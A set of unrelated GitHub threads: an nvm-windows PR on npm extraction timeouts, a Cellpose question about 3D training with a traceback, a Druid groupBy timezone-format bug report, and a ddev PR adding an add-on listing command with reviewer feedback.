Ultimately, I think you've discovered a problem with the Unzip function in https://github.com/coreybutler/nvm-windows/blob/master/src/nvm/file/file.go. I would prefer that method be fixed by leveraging the new https://golang.org/pkg/archive/zip, rather than waiting for Windows (which is unreliable).
That said, this issue has plagued this project for too long. So, I would accept this with a few minor changes. First, I think @b-dur brought up some good points, and I think those suggestions should be incorporated. There should also be some sort of console output in the case of a timeout error. Even though 10 seconds should be more than enough, there are some users running some pretty old/glitchy hardware, so I'd consider this a safety net. A message like "Timed out extracting npm" (or something like that) would be fine.

This PR potentially fixes Issues #300, #302, #305, and #335

Thanks @jchitel for this PR 👍

No problem! I actually didn't even see that this was merged until just now. When can we expect a new release? My team has been using a custom-built binary from my changes for several months.

I'm wrapping up a major contract project this week... I'll try to push a new release early next week.


Train on 3D?

You can't train Cellpose on 3D images, can you? If not, I would recommend an informative warning about this, the outputs below rather confused me at first. I was hoping for 3D training because I have to apply the parameter "--exclude_on_edges" as I don't have any masks for truncated objects in my dataset - and of course in 2D it is impossible to tell if an object touches an edge in 3D.
python -m cellpose --train --dir /train/ --chan 0 --use_gpu --img_filter _img_stacked --mask_filter _masks_stacked --save_tif --diameter 30. --look_one_level_down --pretrained_model cyto --exclude_on_edges --do_3D
2021-07-09 09:51:51,096 [INFO] WRITING LOG OUTPUT TO /home/saskra/.cellpose/run.log
2021-07-09 09:51:56,928 [INFO] ** TORCH CUDA version installed and working. **
2021-07-09 09:51:56,928 [INFO] >>>> using GPU
2021-07-09 09:51:57,158 [INFO] >>>> pretrained model /home/saskra/.cellpose/models/cytotorch_0 is being used
2021-07-09 09:51:57,158 [INFO] >>>> during training rescaling images to fixed diameter of 30.0 pixels
2021-07-09 09:51:57,510 [INFO] train channels = 2
2021-07-09 09:51:57,510 [INFO] NOTE: test data not provided OR labels incorrect OR not same number of channels as train data
2021-07-09 09:51:57,511 [INFO] flows precomputed
2021-07-09 09:51:57,737 [INFO] >>>> training network with 2 channel input <<<<
2021-07-09 09:51:57,737 [INFO] >>>> saving every 100 epochs
2021-07-09 09:51:57,737 [INFO] >>>> median diameter = 30
2021-07-09 09:51:57,737 [INFO] >>>> LR: 0.20000, batch_size: 8, weight_decay: 0.00001
2021-07-09 09:51:57,737 [INFO] >>>> ntrain = 22
2021-07-09 09:51:57,737 [INFO] (2, 480, 480)
Traceback (most recent call last):
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/home/saskra/PycharmProjects/cellpose/cellpose/__main__.py", line 307, in <module>
    main()
  File "/home/saskra/PycharmProjects/cellpose/cellpose/__main__.py", line 286, in main
    batch_size=args.batch_size)
  File "/home/saskra/PycharmProjects/cellpose/cellpose/models.py", line 720, in train
    learning_rate, n_epochs, momentum, weight_decay, batch_size, rescale)
  File "/home/saskra/PycharmProjects/cellpose/cellpose/core.py", line 900, in _train_net
    train_loss = self._train_step(imgi, lbl)
  File "/home/saskra/PycharmProjects/cellpose/cellpose/core.py", line 763, in _train_step
    loss = self.loss_fn(lbl,y)
  File "/home/saskra/PycharmProjects/cellpose/cellpose/models.py", line 633, in loss_fn
    loss = self.criterion(y[:,:2] , veci)
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/site-packages/torch/nn/modules/module.py", line 727, in _call_impl
    result = self.forward(*input, **kwargs)
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/site-packages/torch/nn/modules/loss.py", line 446, in forward
    return F.mse_loss(input, target, reduction=self.reduction)
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/site-packages/torch/nn/functional.py", line 2659, in mse_loss
    expanded_input, expanded_target = torch.broadcast_tensors(input, target)
  File "/home/saskra/anaconda3/envs/cellpose/lib/python3.7/site-packages/torch/functional.py", line 71, in broadcast_tensors
    return _VF.broadcast_tensors(tensors)  # type: ignore
RuntimeError: The size of tensor a (2) must match the size of tensor b (19) at non-singleton dimension 1

no you cannot train cellpose on 3D, you can train on 2D slices and then the model will use slice estimations of flows to create a 3D prediction, see info in the paper here: https://www.nature.com/articles/s41592-020-01018-x


User-specific timezone format sometimes not applied in GroupBy query result

Hi.
When I submit groupby query with periodgranularity, timestamp of result has not all the same format.
Here's the query i used.
curl -X POST \
  'http://<broker>/druid/v2/?pretty=' \
  -H 'content-type: application/json' \
  -d '
{
	"queryType": "groupBy",
	"dataSource": "<datasource>",
	"granularity": {
		"type": "period",
		"period": "P1D",
		"timeZone": "Asia/Seoul"
	},
	"dimensions": ["referer"],
	"filter": {
		"type": "and",
		"fields": [{
			"type": "selector",
			"dimension": "<dimension1>",
			"value": "<value1>"
		}, {
			"type": "selector",
			"dimension": "<dimension2>",
			"value": "<value2>"
		}]
	},
	"aggregations": [{
		"type": "longSum",
		"name": "count",
		"fieldName": "count"
	}],
	"intervals": ["2017-12-05T00:00:00.000+09:00/2017-12-07T00:00:00.000+09:00"]
}'

It's result
[ {
  "version" : "v1",
  "timestamp" : "2017-12-05T15:00:00.000Z",
  "event" : {
    "count" : 19,
    "referer" : "<refer_a>"
  }
}, {
  "version" : "v1",
  "timestamp" : "2017-12-05T15:00:00.000Z",
  "event" : {
    "count" : 12,
    "referer" : "<refer_b>"
  }
}, {
  "version" : "v1",
  "timestamp" : "2017-12-05T15:00:00.000Z",
  "event" : {
    "count" : 80,
    "referer" : "<refer_c>"
  }
}, {
  "version" : "v1",
  "timestamp" : "2017-12-05T15:00:00.000Z",
  "event" : {
    "count" : 9803,
    "referer" : "<refer_d>"
  }
}, {
  "version" : "v1",
  "timestamp" : "2017-12-06T00:00:00.000+09:00",
  "event" : {
    "count" : 1,
    "referer" : "<refer_e>"
  }
}, {
  "version" : "v1",
  "timestamp" : "2017-12-05T15:00:00.000Z",
  "event" : {
    "count" : 13,
    "referer" : "<refer_f>"
  }]

I refer this doc to get timestamp of result formatted with 2017-12-06T00:00:00.000+09:00, not  2017-12-05T15:00:00.000Z

I'm using Druid 0.10.0 and all the component is under UTC.

Looks like the same issue with https://github.com/druid-io/druid/issues/4126. Would you try again after upgrading your cluster to 0.10.1?

@jihoonson Ah, Thanks for your comment. I'll try again. Now close this issue and I'll reopen If I find same symptom out.

@dkhwangbo thanks. Please let us know if you still have the problem.


Add ddev get --list so people can discover add-ons, fixes #3552, fixes #3553

The Problem/Issue/Bug:

#3552
#3553

ddev get is great, but it doesn't help people discover the add-ons that may be available.
How this PR Solves The Problem:
With this PR you can ddev get --list or ddev get --list --all (--all picks up unofficial add-ons)
Manual Testing Instructions:

[ ] ddev get --list
[ ] ddev get --list --all
[ ] ddev get drud/ddev-memcached and pay attention to what it says and see if it's helpful.

Automated Testing Overview:

Added just a bit to TestCmdGet

@rpkoller @shaal @ultimike I'd love to have your feedback on this one. Thanks for the suggestions in the first place.

I had a quick look at this on gitpod.

Does it respect the table_style setting in global_config.yaml?
It wasn't immediately obvious how to use the information. Maybe add a "Service" & "Description" heading to the table?
I think "*" would be better on the "description" side. Some people might think they need "ddev get *drud/ddev-memcached"

Great idea BTW! I really like it.

Thanks @tyler36 !

also taken a look and tested on gitpod. at first thanks for the pull request and the current state already looks great. i might only have one or two nitpicks.

i agree with @tyler36 it might be useful to add a heading row for ddev get --list and ddev get --list --all
another suggestion like with ddev describe add a one cell row on top of the currently two cell row stating List of official maintained ddev add-ons and List of official and unoffical ddev add-ons. to set the proper context for each output.
next suggestion there would be two options. if you want to make things consistent between ddev get --list and ddev get --list --all then i would add a third row. first row for the asterisk, second column the path for the image and third the description. but i would strongly recommend not to prepend the asterisk to the path. that way the user couldnt double click to select the path but instead has to manually select the string by for example the mouse cursor.
the other option would be for ddev get --list just remove the asterisk and the liner note about add-ons marked with... since there are only listed official add-ons anyway. and  for ddev get --list --all apply the three column approach i've outlined before.
If possible i would adjust and streamline the add-on descriptions.   more or less each of the official add-on descriptions has a in ddev or for ddev in it. keeping things short and concise might be the better choice or are there add-ons not for ddev? meaning that one image is dependent on another image - and that way not directly required by ddev?
in regards of ddev get drud/ddev-memcached the output seems mostly the same like in #3553. the addition is Installed file /workspace/d9simple/.ddev/docker-compose.memcached.yaml. My question is would the yaml file be copied to the global ddev settings folder and to the project folder the ddev get command is executed in? (would have to test again locally with gitpod i am unsure where to look for that)
and another addition might be useful. currently it is statedDownloaded add-on drud/ddev-memcached, use ddev restart to enable. so basically on ddev restartddev is performing a ddev service enable. but also an addition like if you want to enable the service on another project enter ddev serivce enable drud/ddev-memcached educating people using the command the first time or as a reminder how to enable a service for other projects.

thats it for now. just a few quick thoughts that came to mind. already late over here and bedtime. thanks!

Thanks @rpkoller -

The descriptions from the repositories themselves, so have to be managed there.

in regards of ddev get drud/ddev-memcached the output seems mostly the same like in https://github.com/drud/ddev/issues/3553#issue-1116499331. the addition is Installed file /workspace/d9simple/.ddev/docker-compose.memcached.yaml. My question is would the yaml file be copied to the global ddev settings folder and to the project folder the ddev get command is executed in? (would have to test again locally with gitpod i am unsure where to look for that)

So ddev doesn't support global service definitions, and none of the existing examples puts things in global I don't think.
ddev get can take a project arg or be executed in project directory. In both cases, things will be done to the project directory. It is possible, for example, to add global commands, but I don't think anything we've done yet does that.

so basically on ddev restart ddev is performing a ddev service enable

No, that's not correct - on ddev get the service is enabled, but it doesn't take effect until start/restart. Essentially, ddev service enable is just copying a docker-compose.*.yaml into the project .ddev directory, and disable removes it from the .ddev directory.

OK, put some of both of your ideas in there, thanks!

You should both know that if you put ddev-get as a topic on one of your own repositories right now it will show up in ddev get --list --all :)

If * is at the front of the description, it makes it easier to see "official". Mock-up below with a "fake" service.

┌────────────────────────┬────────────────────────────────────────────────┐
│ ADD-ON                 │ DESCRIPTION                                    │
├────────────────────────┼────────────────────────────────────────────────┤
│ drud/ddev-memcached    │ * Install memcached as an extra service in ddev│
├────────────────────────┼────────────────────────────────────────────────┤
│ drud/ddev-beanstalkd   │ * beanstalkd for ddev                          │
├────────────────────────┼────────────────────────────────────────────────┤
│ drud/ddev-drupal9-solr │ * Drupal 9 Apache Solr installation for DDEV   │
├────────────────────────┼────────────────────────────────────────────────┤
│ tyler36/ddev-bears     │ Drupal 7 service containing bears              │
└────────────────────────┴────────────────────────────────────────────────┘

Looks good with the table headings. 👍
Not sure if it's a gitpod thing, or memcached. I ran ddev get drud/ddev-memcached and it instantly spat out.  Note the 65.13% 0s. It feels like it didn't finish downloading, but it might just be too fast(?). Multiple runs produce the same.

gitpod /workspace/d9simple (main) $ ddev get drud/ddev-memcached
Downloading https://api.github.com/repos/drud/ddev-memcached/tarball/v1.1.1
v1.1.1_3469056019.tar.gz 6.36 KiB / ? [----------------------------------------------------------------------------------------------------------------------------------------------------------------------=]  65.13% 0s
Installed file /workspace/d9simple/.ddev/docker-compose.memcached.yaml
Downloaded add-on drud/ddev-memcached, use `ddev restart` to enable.
For more information about this add-on visit the source repo at https://github.com/drud/ddev-memcached
gitpod /workspace/d9simple (main) $

This is a great idea - my only feedback would be to perhaps differentiate in the table between "official" and "community" based services.

I'm going to go ahead and pull this one and cut v1.19.0-rc1, sure interested in followups. But I want some more people to get experience with it as well.